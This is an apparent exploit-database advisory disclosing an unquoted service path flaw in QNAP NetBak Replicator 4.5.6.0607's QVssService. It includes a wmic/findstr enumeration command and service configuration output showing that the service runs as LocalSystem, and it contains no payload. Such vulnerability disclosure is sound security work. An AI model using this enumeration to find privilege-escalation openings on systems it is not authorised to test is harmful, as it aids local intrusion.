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QNAP NetBak Replicator 4.5.6.0607 Unquoted Service Path

QNAP NetBak Replicator 4.5.6.0607 Unquoted Service Path
Posted Nov 6, 2019
Authored by Ivan Marmolejo

QNAP NetBak Replicator version 4.5.6.0607 suffers from a QVssService unquoted service path vulnerability.

tags | exploit
MD5 | 7c4c8d84258f0ed0958f4d22376f986c

QNAP NetBak Replicator 4.5.6.0607 Unquoted Service Path

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# Exploit Title: QNAP NetBak Replicator 4.5.6.0607 - 'QVssService' Unquoted Service Path
# Discovery Date: 2019-11-05
# Exploit Author: Ivan Marmolejo
# Vendor Homepage: https://www.qnap.com/en/
# Software Link: https://www.qnap.com/en/download
# Version: 4.5.6.0607
# Vulnerability Type: Local
# Tested on: Windows XP Profesional EspaƱol SP3

#Exploit
##############################################################################################################################################

Summary: QNAP NetBak Replicator provides several options for copying files from your Windows computer to your NAS. By simplifying the backup
process, NetBak Replicator helps ensure that your files are safe even when your computer becomes unavailable.

Description: The application suffers from an unquoted search path issue impacting the service 'QVssService'. This could potentially allow an
authorized but non-privileged local user to execute arbitrary code with elevated privileges on the system. A successful attempt would require
the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could
potentially be executed during application startup or reboot. If successful, the local user’s code would execute with the elevated privileges
of the application.

##############################################################################################################################################

Step to discover the unquoted Service:


C:\Users\user>wmic service get name, displayname, pathname, startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """


QNAP Vss Service QVssService C:\Archivos de programa\QNAP\NetBak\QVssService.exe Auto


##############################################################################################################################################

Service info:


C:\Users\user>sc qc QVssService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: QVssService
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Archivos de programa\QNAP\NetBak\QVssService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : QNAP Vss Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

##############################################################################################################################################

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